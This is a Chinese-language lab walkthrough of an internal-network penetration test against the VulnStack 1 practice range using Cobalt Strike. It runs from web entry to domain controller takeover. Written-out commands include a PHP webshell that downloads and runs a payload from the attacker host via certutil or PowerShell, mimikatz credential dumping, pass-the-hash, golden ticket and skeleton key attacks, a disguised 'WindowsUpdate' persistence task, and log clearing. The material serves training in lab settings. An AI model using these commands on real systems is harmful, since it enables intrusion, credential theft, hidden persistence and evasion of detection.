Cobalt Strike实战红日VulnStack:内网渗透从外网突破到域控的完整演练

Cobalt Strike实战红日VulnStack:内网渗透从外网突破到域控的完整演练 1. 项目概述从靶场到实战的内网渗透演练如果你对网络安全攻防感兴趣尤其是对内网渗透这个听起来有点“神秘”的领域那么“红日VulnStack”这个靶场系列绝对是你绕不开的经典练手场。它模拟了一个相对真实的企业内网环境从外网Web漏洞入手一步步打点、横向移动、权限维持最终拿下整个域控完整复现了一次攻击者视角的渗透测试流程。而在这个过程中Cobalt Strike作为渗透测试领域的“瑞士军刀”其强大的协同作战、权限管理和后渗透能力能让整个渗透过程如虎添翼效率倍增。这篇文章我就以一个一线渗透测试工程师的视角带你手把手走一遍用Cobalt Strike玩转红日VulnStack靶场以经典的VulnStack 1为例的全过程。这不仅仅是一份通关攻略更是一次深度理解内网渗透核心思想、掌握Cobalt Strike关键操作、并规避常见陷阱的实战演练。无论你是刚入门安全的新手还是想系统梳理内网知识体系的从业者都能从中获得直接的、可复现的收获。我们会从环境搭建开始一步步经历信息收集、漏洞利用、横向移动、权限提升、域渗透直至最终控制整个域每一个环节我都会结合Cobalt Strike的功能告诉你“为什么要这么做”以及“怎么做更高效”。2. 环境准备与靶场拓扑解析工欲善其事必先利其器。在开始渗透之前我们必须清晰地知道战场是什么样的以及我们手头有哪些武器。2.1 靶场环境搭建与网络拓扑红日VulnStack 1靶场通常由三台虚拟机组成模拟了一个简单的企业域环境。为了后续Cobalt Strike的顺利连接我强烈建议使用VMware或VirtualBox的NAT网络模式并确保所有虚拟机在同一网段例如192.168.111.0/24同时你的攻击机运行Kali和Cobalt Strike Team Server的机器也需要在这个网段内。典型的拓扑结构如下攻击机 (Attacker): 你的Kali LinuxIP假设为192.168.111.128。同时Cobalt Strike的Team Server也运行在这台机器或同一网络下的另一台Linux上。靶机1 (WEB): Windows 7系统通常扮演着对外提供Web服务的服务器。它有两块网卡一块连接外网192.168.111.0/24IP如192.168.111.129我们可以从攻击机直接访问。另一块连接内网172.16.12.0/24IP如172.16.12.129。这是我们进入内网的第一个跳板。靶机2 (PC): Windows 7系统是内网的一台普通办公电脑仅有一块内网网卡IP如172.16.12.130通常加入了域。靶机3 (DC): Windows Server 2008 R2系统是整个内网的域控制器Domain ControllerIP如172.16.12.131域名为de1ay.com。我们的攻击路径非常清晰先通过外网漏洞拿下WEB服务器192.168.111.129然后以它为跳板进入内网172.16.12.0/24逐步横向移动到PC和DC最终夺取域控权限。注意务必在虚拟机设置中关闭所有靶机的防火墙或者放行相关端口如445 135 139等否则很多内网横向技术会失败。这是新手最容易忽略导致“卡关”的点。2.2 Cobalt Strike团队服务器与客户端配置Cobalt Strike分为服务端Team Server和客户端Client。服务端负责管理“肉鸡”被控主机、协调团队协作、提供监听器客户端是我们操作的图形化界面。1. 启动Team Server在攻击机Kali上进入Cobalt Strike目录执行以下命令启动服务端。你需要一个许可证文件.cobaltstrike.license并设置一个强密码用于客户端连接。./teamserver 你的攻击机IP 连接密码 [/path/to/profiles] [YYYY-MM-DD] # 示例./teamserver 192.168.111.128 MyStrongPassword123启动后Team Server会监听50050端口。请确保攻击机的防火墙允许该端口。2. 连接客户端在另一台机器可以是Windows或Linux装有Java环境上启动Cobalt Strike客户端。主机填写Team Server的IP192.168.111.128。端口50050。用户可以任意起一个用于在团队中标识你例如operator1。密码就是启动Team Server时设置的MyStrongPassword123。连接成功后你会看到Cobalt Strike的主界面。至此我们的“作战指挥中心”就搭建完毕了。3. 创建第一个监听器Listener监听器是Cobalt Strike接收被控主机回连的“电话线”。在开始攻击前必须设置好。点击Cobalt Strike-Listeners。点击Add类型选择windows/beacon_http/reverse_http这是最常用、兼容性最好的之一。Name可以设为http-80。HTTP Hosts填写你的Team Server IP192.168.111.128。HTTP Port (C2)填写80使用80端口可以更好地伪装成正常Web流量。其他保持默认点击Save。这个监听器将用于生成我们的初始Payload让WEB服务器“打电话”回来给我们。3. 外网打点与初始突破内网渗透的第一步永远是找到一个进入内网的入口。在红日VulnStack 1中这个入口就是WEB服务器上的一个存在漏洞的Web应用。3.1 信息收集与漏洞发现首先我们用Nmap对WEB服务器192.168.111.129进行端口扫描。nmap -sV -sC -O 192.168.111.129扫描结果通常会显示开放了80端口HTTP和3306端口MySQL。访问http://192.168.111.129你会发现一个“Yxcms”的建站系统。通过简单的目录扫描可以用dirsearch或gobuster或者直接观察页面你可能发现其版本信息。经验告诉我这种靶场常用的CMS漏洞往往出在已知的漏洞上。通过搜索“Yxcms 漏洞”或者使用AWVS、Nessus等扫描器可以快速定位到可能存在SQL注入、文件上传等漏洞的点。在红日VulnStack 1中常见入口点是一个存在SQL注入的搜索功能或者一个后台登录页面的弱口令/爆破。实操心得在实际渗透中信息收集的细致程度直接决定成功率。不要只扫描常见端口要关注服务横幅Banner、目录结构、备份文件.bak, .swp、子域名等。对于Web应用手动测试每个参数GET/POST的注入、XSS、文件包含可能性比单纯依赖工具更有效。3.2 漏洞利用与Shell获取假设我们通过SQL注入获取了后台管理员账号密码例如 admin/123456并成功登录。接下来就是寻找文件上传点上传我们的Webshell。1. 生成Cobalt Strike Payload在Cobalt Strike客户端点击Attacks-Packages-Windows Executable (S)。这里选择Windows Executable而不是Windows Executable (Stageless)是因为前者是分阶段Staged的Payload很小更适合通过上传大小受限的Webshell来下载并执行。Listener选择我们刚才创建的http-80。勾选x64如果目标系统是64位。点击Generate会生成一个.exe文件例如payload.exe。2. 制作Webshell并上传由于直接上传.exe文件可能会被拦截我们通常制作一个一句话木马如PHP、ASPX通过它来下载并执行我们的payload.exe。在攻击机上用Python启动一个简单的HTTP服务将payload.exe放在目录下。python3 -m http.server 8080制作一个PHP的Webshell内容如下?php // 方法1直接执行系统命令下载并运行 system(certutil -urlcache -split -f http://192.168.111.128:8080/payload.exe C:\\Windows\\Temp\\payload.exe C:\\Windows\\Temp\\payload.exe); // 方法2更隐蔽的方式使用powershell // system(powershell -c \IEX(New-Object Net.WebClient).DownloadString(\http://192.168.111.128:8080/payload.ps1\)\); ?将上述代码保存为shell.php然后通过网站的文件上传功能可能需要绕过前端校验、内容类型检查、后缀黑名单等将其上传到可访问的Web目录例如/upload/shell.php。3. 触发Shell访问http://192.168.111.129/upload/shell.php。如果一切顺利你的Python HTTP服务会收到下载payload.exe的请求并且几秒后Cobalt Strike的客户端会弹出一个提示显示一个新的主机上线了。点击View-Web Log可以查看HTTP监听器的访问日志确认Payload被下载。在主机列表中你应该能看到一台IP为192.168.111.129的主机图标从灰色变成红色表示已上线。注意在实际环境中杀毒软件AV和端点检测响应EDR是最大的障碍。Cobalt Strike的默认Payload很容易被查杀。因此在生成Payload时务必使用Attacks-Packages-Payload Generator来生成各种格式的Shellcode然后配合自定义的加载器Loader或使用Artifact Kit进行混淆免杀这是红队必备技能。在靶场中我们可以暂时关闭AV或使用默认配置但心里要有这根弦。4. 内网横向移动与权限提升拿到WEB服务器的Beacon会话后我们才算真正进入了内网。现在我们的视角从外网的一台服务器切换到了内网中的一个点。接下来要做的就是从这个点出发探索和征服整个内网。4.1 内网信息收集立足点加固首先我们需要了解我们当前所在的这台“跳板机”的详细情况。在Cobalt Strike中右键点击上线的会话选择Interact打开一个Beacon命令行。1. 基础系统信息beacon shell systeminfo beacon shell ipconfig /all beacon net view这些命令可以帮我们了解系统版本、补丁情况、网络配置注意那块内网网卡172.16.12.129、以及当前网络中的其他机器。2. 权限判断与提升beacon getuid如果返回的权限不是NT AUTHORITY\SYSTEM我们需要进行提权。可以使用runas或者利用本地提权漏洞。Cobalt Strike内置了Elevate模块可以尝试多种提权漏洞如MS14-058, MS16-032等。右键会话 -Access-Elevate选择一种漏洞利用程序选择你的监听器点击Launch。如果成功你会获得一个新的高权限会话。3. 凭证获取内网横向移动凭证用户名、密码、哈希是关键。在Beacon中我们可以尝试抓取内存中的明文密码和哈希。beacon mimikatz beacon mimikatz !sekurlsa::logonpasswords如果成功你可能会获取到当前登录用户甚至其他用户的明文密码或NTLM哈希。将这些密码和用户名记录下来它们可能是通往其他机器的钥匙。4. 内网端口扫描与存活主机发现现在我们从这台跳板机向内网扫描。使用Cobalt Strike内置的端口扫描器或ARP扫描。beacon net view /domain # 查看域 beacon net view /domain:de1ay.com # 查看域内机器列表可能不准确 beacon portscan 172.16.12.0/24 445,135,139,3389 arp # 使用ARP扫描存活主机并探测常见端口扫描完成后在View-Targets中可以看到发现的内网主机列表应该能发现172.16.12.130(PC) 和172.16.12.131(DC)。4.2 横向移动技术实战有了目标列表和可能的凭证我们就可以开始横向移动了。这里介绍几种Cobalt Strike中常用的方式。1. Psexec横向移动使用哈希传递Pass The Hash假设我们通过Mimikatz从WEB服务器上抓取到了域用户de1ay\webadmin的NTLM哈希。我们可以尝试用这个哈希去横向攻击PC172.16.12.130。在Cobalt Strike中右键WEB服务器的会话 -Access-Psexec。Listener选择你的监听器如http-80。Target输入172.16.12.130。Service Name可以自定义用于在目标机器上创建的服务名。User输入de1ay\webadmin。Password Hash输入抓取到的NTLM哈希去掉LM部分只取NT部分例如aad3b435b51404eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4。点击Launch。如果该用户在目标机器上有管理员权限且防火墙规则允许Cobalt Strike会在目标机器上创建服务执行Payload并将会话弹回。成功后你会在主机列表里看到PC172.16.12.130上线。2. WinRM横向移动如果目标机器如DC开启了WinRM服务5985端口我们可以使用抓取到的明文密码进行横向移动。首先确保在Beacon中已经通过mimikatz抓到了明文密码。在Cobalt Strike中点击View-Credentials可以看到已获取的凭证。右键一个凭证 -Spawn As。选择你的监听器输入目标主机IP172.16.12.131Cobalt Strike会尝试使用该凭证通过WinRM在目标主机上执行Payload。3. SMB Beacon与跳板列表Pivoting这是Cobalt Strike非常强大的功能用于在多层内网中穿梭。我们可以将WEB服务器设置为一个SMB Beacon的中继点让内网其他机器通过它来连接我们的Team Server从而绕过一些网络限制。首先在WEB服务器的Beacon中输入beacon socks 1080开启一个SOCKS4a代理方便我们攻击机直接访问内网IP。然后生成一个SMB Beacon的Payload。Attacks-Packages-Windows Executable (S)Listener选择windows/beacon_smb/bind_pipe。将这个Payload通过已有的会话如Psexec传到内网目标机器如PC上并执行。在Cobalt Strike的View-Pivots中你可以看到SMB管道连接。内网机器的Beacon会通过WEB服务器这个“跳板”与Team Server通信。实操心得横向移动时不要只盯着一种方法。如果Psexec失败可以尝试WMIjump winrm64、计划任务schtasks、或者利用MS17-010永恒之蓝等漏洞。多一种方法就多一条路。同时动作要轻避免在目标机器上留下大量日志。Cobalt Strike的jump命令集成了多种横向移动方式非常方便。5. 域渗透与权限维持在拿下一台或多台域内主机后我们的最终目标就是域控制器DC。域渗透的核心在于获取域管理员的凭证或直接控制DC。5.1 域内信息深度收集在已经控制的域成员机如PC上我们需要收集更详细的域信息。beacon shell net group domain admins /domain # 查看域管理员组 beacon shell net group domain computers /domain # 查看域内所有计算机 beacon shell net accounts /domain # 查看域密码策略 beacon shell dsquery computer # 通过ADSI查询计算机 beacon shell dsquery user # 查询用户使用PowerShell或BloodHound收集器可以更直观地分析域内攻击路径。Cobalt Strike可以集成SharpHoundBloodHound的收集器。将SharpHound.exe上传到目标机器。在Beacon中执行beacon execute-assembly /path/to/SharpHound.exe -c All将生成的.zip文件下载到本地导入到BloodHound图形化工具中它可以自动分析出到域控的最短路径例如“用户A是服务器B的管理员而服务器B上有域管会话”。5.2 攻击域控制器在红日靶场中DC172.16.12.131通常可以通过之前抓取的域用户凭证直接访问。如果域用户de1ay\webadmin是域管理员那么直接用Psexec或WinRM即可拿下。但更常见的情况是我们需要进行权限提升或利用域漏洞。1. 黄金票据Golden Ticket攻击如果我们抓取到了域控的krbtgt用户的NTLM哈希这是域的核心秘密我们就可以伪造任意用户的TGT票据授予票据从而访问域内任何服务。首先需要拿到krbtgt的哈希。这通常需要在域控上执行mimikatz lsadump::dcsync /user:krbtgt。这需要域管理员或同等权限。在Cobalt Strike的Beacon中任意域成员机使用mimikatz命令beacon mimikatz kerberos::golden /user:Administrator /domain:de1ay.com /sid:域SID /krbtgt:krbtgt的NTLM哈希 /ptt/ptt参数表示将生成的黄金票据注入当前会话。注入后就可以直接访问域控了例如beacon shell dir \\dc.de1ay.com\c$。2. MS14-068漏洞利用如果域控没有打MS14-068补丁即使是一个普通的域用户也可以利用该漏洞提升到域管理员权限。Cobalt Strike有相应的漏洞利用模块。在已控的域成员机上确保抓取到了某个域用户的明文密码或哈希。使用exploit/windows/local/ms14_068_kerberos_checksum模块填入域信息、用户SID、密码哈希等生成一个高权限的票据并注入。5.3 权限维持后门拿下域控不是终点我们需要留下后门确保即使被发现也能再次回来。1. 创建计划任务后门在域控上创建一个计划任务定期连接我们的Cobalt Strike监听器。beacon shell schtasks /create /tn WindowsUpdate /tr C:\Windows\Temp\payload.exe /sc minute /mo 30 /ru SYSTEM这个命令创建一个名为“WindowsUpdate”的任务每30分钟以SYSTEM权限执行我们的Payload。2. 创建WMI事件订阅后门这是一种更隐蔽的持久化方式。Cobalt Strike的Persistence-WMI模块可以一键生成。右键域控的会话 -Persistence-WMI。选择监听器设置触发事件如用户登录、定时等。点击LaunchCobalt Strike会自动在目标上创建WMI事件过滤器、消费者和绑定实现无文件持久化。3. 黄金票据 Skeleton Key黄金票据本身就是一个长效后门。结合Skeleton Key万能钥匙可以在域控上植入一个后门密码让任何域用户都可以使用一个通用密码进行认证不影响原密码。beacon mimikatz misc::skeleton执行后所有域用户都可以使用额外设置的“万能密码”默认是mimikatz进行网络认证。但这需要重启域控的Kerberos服务动静较大。注意权限维持技术是双刃剑在真实渗透测试中需根据目标的安全防护水平和监控能力谨慎选择并严格遵守授权范围。在靶场中我们可以尽情尝试理解其原理。6. 痕迹清理与总结反思一场完整的渗透测试在拿到目标后还需要考虑如何优雅地退出尽量减少留下的痕迹。1. 日志清理Windows事件日志可以使用clearev命令清除当前会话的安全、系统和应用日志。但注意在域环境中安全日志可能被集中收集到SIEM。IIS/Apache日志手动删除或篡改Web服务器上记录我们访问行为的日志文件。2. 文件清理删除上传的Webshell、Payload、工具如Mimikatz、SharpHound等以及生成的临时文件。beacon rm C:\Windows\Temp\payload.exe beacon shell del C:\inetpub\wwwroot\upload\shell.php3. 服务与计划任务清理删除我们创建的用于持久化的计划任务、服务或WMI事件订阅。beacon shell schtasks /delete /tn WindowsUpdate /f4. 会话退出在Cobalt Strike中右键会话选择ExitBeacon会尝试在退出前执行一个清理命令如果配置了的话然后关闭连接。总结与反思走完红日VulnStack 1靶场结合Cobalt Strike的整个流程你应该对内网渗透的基本脉络有了清晰的认识外网突破 - 立足点信息收集 - 凭证获取 - 内网探测 - 横向移动 - 域信息收集 - 域权限提升 - 域控攻击 - 权限维持。Cobalt Strike在这个流程中扮演了“中枢神经”的角色它将信息收集、漏洞利用、横向移动、凭证管理、团队协作等功能集成在一个平台上极大地提升了效率。然而工具再强大也只是思想的延伸。真正重要的是理解每一步背后的原理为什么抓取LSASS内存能拿到密码PTH攻击的本质是什么Kerberos协议如何工作黄金票据又为何能伪造只有理解了这些你才能举一反三在工具失效或环境变化时依然能找到出路。最后在实战中对抗的不仅仅是系统漏洞更是人的意识和安全体系。蓝队的日志分析、流量监测、终端防护EDR会让你举步维艰。因此免杀技术、隐蔽信道、对抗溯源、操作节奏控制是红队工程师需要不断精进的下一个层次。靶场是安全的沙盒在这里大胆尝试反复练习把每一个命令、每一个模块都吃透才是通往实战的坚实阶梯。